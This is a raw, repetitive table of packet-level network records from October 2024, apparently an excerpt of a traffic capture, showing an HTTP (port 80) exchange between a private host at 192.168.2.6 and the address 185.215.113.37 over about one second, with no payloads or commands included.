Oct 25, 2024 13:50:17.874500036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874556065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874591112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874624968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874631882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874672890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874691010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874691010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874707937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874721050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874752998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.033770084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.033809900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.033862114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.033912897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.033950090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.033978939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.033982992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034003019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034028053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034032106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034070015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034084082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034101009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034118891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034148932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034152985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034188986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034197092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034229040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034231901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034264088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034270048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034303904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034321070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034365892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034377098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034421921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034427881 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034465075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034480095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034511089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034518003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034553051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034569025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034585953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034598112 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034629107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034636974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034673929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034683943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034708977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034717083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034742117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034756899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034775972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034781933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034806967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034816980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034842014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034849882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034877062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.034883022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.034929991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193511963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193547964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193604946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193604946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193658113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193660021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193660021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193707943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193716049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193752050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193768978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193799973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193804979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193841934 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193854094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193875074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193892956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193911076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193921089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.193960905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.193981886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194006920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194011927 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194045067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194056988 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194080114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194087029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194123983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194130898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194175005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194180965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194216013 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194227934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194261074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194267035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194300890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194310904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194335938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194344044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194372892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194384098 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194402933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194421053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194439888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194446087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194474936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194489002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194508076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194529057 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194560051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194591999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194601059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194627047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194633961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194643974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194673061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194675922 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194710970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194724083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194746017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194758892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194793940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194797993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194830894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194845915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194864988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194875956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194900990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194911957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194946051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.194956064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.194991112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195004940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195024967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195036888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195059061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195091009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195092916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195127010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195159912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195163012 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195178032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195178032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195202112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195207119 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195236921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195266962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195269108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195276022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195307016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.195333958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.195416927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.310817003 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.310877085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.310899973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.310908079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.310920000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.310954094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.310965061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.310993910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.311007977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.311038017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353149891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353204012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353228092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353234053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353267908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353267908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353287935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353306055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353316069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353363991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353379011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353415012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353426933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353449106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353460073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353490114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353499889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353532076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353543997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353583097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353585005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353619099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353634119 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353663921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353677988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353707075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353725910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353739977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353774071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353802919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353827953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353827953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353837967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353853941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353859901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353890896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353920937 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353943110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.353977919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353991032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.353996038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354029894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354048014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354065895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354087114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354115009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354115963 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354154110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354166985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354198933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354213953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354233027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354247093 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354279041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354281902 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354327917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354336023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354368925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354384899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354403973 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354410887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354439974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354443073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354475021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354486942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354522943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354526997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354557991 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354569912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354590893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354598045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354634047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354641914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354686022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354691982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354727030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354736090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354759932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354772091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354804993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354809046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354841948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354854107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354876995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354880095 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354913950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354923010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354948997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354955912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.354980946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.354991913 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.355017900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.355024099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.355046988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.355062008 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.355087996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.428503036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.428543091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.428577900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.428603888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.428638935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.428638935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.470947981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.470983982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471019030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471029043 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471055031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471055984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471090078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471092939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471100092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471134901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471143007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471180916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471195936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471229076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471240044 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471272945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471280098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471373081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471395969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471430063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471446037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471458912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471467018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471493006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471493959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471528053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471534967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471570015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471576929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471611977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471620083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471651077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471652031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471690893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471707106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471740961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471752882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471776009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471785069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471808910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471836090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471843004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471846104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471877098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471879959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471911907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471929073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471957922 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.471967936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.471991062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472002029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472033978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472043037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472075939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472085953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472110033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472136021 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472142935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472147942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472178936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472188950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472207069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:18.472220898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472248077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:18.472261906 CEST	80	49712	185.215.113.37	192.168.2.6
